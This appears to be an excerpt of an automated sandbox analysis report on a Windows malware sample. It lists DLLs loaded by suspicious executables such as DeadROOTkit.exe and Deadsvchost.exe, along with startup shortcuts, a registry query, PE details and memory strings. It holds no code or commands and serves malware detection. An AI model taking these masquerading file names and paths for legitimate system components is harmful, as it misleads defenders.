Source: C:\Users\Public\DeadXClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\Public\DeadCodeRootKit.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: version.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: sspicli.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: version.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: sspicli.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: mscoree.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: version.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: sspicli.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Public\Deadsvchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\spoolsv.exe	Section loaded: pdh.dll

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Deadsvchost.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\Public\Deadsvchost.exe
Source: DeadROOTkit.lnk.2.dr	LNK file: ..\..\..\..\..\..\Local\DeadROOTkit.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: mIURiU8n2P.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: mIURiU8n2P.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wctAB5F.tmp.pdb source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.pdbr source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDB source: svchost.exe, 00000017.00000000.1840558344.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2941691166.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000017.00000000.1840584622.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.2942503144.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000017.00000002.2940183395.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1840509505.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
